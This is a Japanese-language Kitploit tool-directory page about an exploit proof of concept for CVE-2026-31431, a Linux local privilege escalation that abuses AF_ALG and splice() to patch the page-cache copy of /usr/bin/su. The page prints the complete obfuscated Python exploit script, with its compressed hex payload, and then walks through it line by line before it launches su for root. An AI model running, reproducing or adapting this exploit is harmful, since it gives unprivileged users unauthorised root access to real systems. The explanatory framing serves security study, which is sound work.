Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-31431-copy-fail — CVE-2026-31431のエクスプロイトPoC。AF_ALGとsplice()を使用してLinuxのページキャッシュを上書きし、メモリ内の/usr/bin/suにパッチを適用することで、非特権ユーザーをrootに権限昇格させます。 | Kitploit
ツール/GitHubGitHub/trevocastles/cve-2026-31431-copy-fail
特権昇格エクスプロイトペイロード開発バイナリエクスプロイト
GitHubtrevocastles/cve-2026-31431-copy-fail

CVE-2026-31431-copy-fail

CVE-2026-31431のエクスプロイトPoC。AF_ALGとsplice()を使用してLinuxのページキャッシュを上書きし、メモリ内の/usr/bin/suにパッチを適用することで、非特権ユーザーをrootに権限昇格させます。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
18日前未レビュー

CVE-2026-31431 コピー失敗エクスプロイト

パート 1: 理論的概念(CVE-2026-31431 が機能する仕組み)

システムが低速な物理ハードディスクからファイルを常に直接取得する代わりに——これは多くの時間を浪費します——Linux システムは Page Cache として知られる RAM 内にファイルの一時コピーを作成します。これにより、システムはファイルを RAM 内だけでほぼ瞬時に実行および読み取ることができます。

このプロセスは、2つの主要な関数に依存しています。

  • AF_ALG: カーネル内のファイルとデータの暗号化/暗号操作を担当します。

  • splice(): データをあるメモリ位置から別のメモリ位置へ超高速で直接移動する(ゼロコピー)処理を担当します。

エクスプロイトはこれら2つの関数を操作します。システムがメモリ内でファイルを処理および実行しようとすると、注入されたペイロードコードに遭遇します。Linux カーネル自体がメモリ管理を担当しているため、そこでロジックの欠陥や不正な変更が発生したことを疑うことはありません。

要約: この脆弱性はメモリを改ざんして、対象ファイルの暗号化/チェックをバイパスします。その後、メモリ内の特定の4バイト命令を上書きして、権限のないユーザーにも即座に Root アクセスが許可されるようにします。この一連の操作はすべてカーネルによって直接実行されます。

パート 2: エクスプロイトコードの解析

エクスプロイトコード:

Python

root@kitploit:~
#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

行ごとの解説:

  1. e = zlib.decompress(d("78daab77..."))

    この行は、圧縮された16進ペイロードを展開します。このペイロードは、Root 権限を付与するために設計されたインジェクションベクターと考えることができます。16進データを生のバイト列に変換し、パスワード認証をバイパスするために RAM に書き込めるようにします。

  2. a = s.socket(38, 5, 0) 、n(f, w, o) 、n(r, u.fileno(), o)

    スクリプトは /usr/bin/su バイナリ(ユーザー権限の切り替えを担う実行ファイル)への読み取り専用ハンドルを開きます。そして AF_ALG ソケット(AF_ALG ID = 38)をセットアップし、splice() システムコールを使用して /usr/bin/su のメモリページをカーネルの暗号化エンジンへ直接ストリーム送信します。

  3. カーネルメモリの上書き:

    カーネルの暗号化モジュール(algif_aead)の欠陥により、カーネルは処理中にだまされてしまいます。処理済みの出力を通常の一時バッファに書き込む代わりに、ペイロードを RAM(Page Cache)に保存されている /usr/bin/su バイナリページへ 直接上書き します。

  4. while i < len(e): c(f, i, e[i:i+4]); i += 4 &

ツールをダウンロード
g.system("su")

スクリプトはループを実行し、ペイロードを4バイトずつ連続したメモリオフセットに書き込んでいきます。ループによるメモリ上の命令へのパッチが完了すると、su を実行します。カーネルがメモリ内の変更されたコードを実行するため、パスワードチェックはバイパスされ、このコマンドを実行するすべてのユーザーに Root アクセスが許可されます。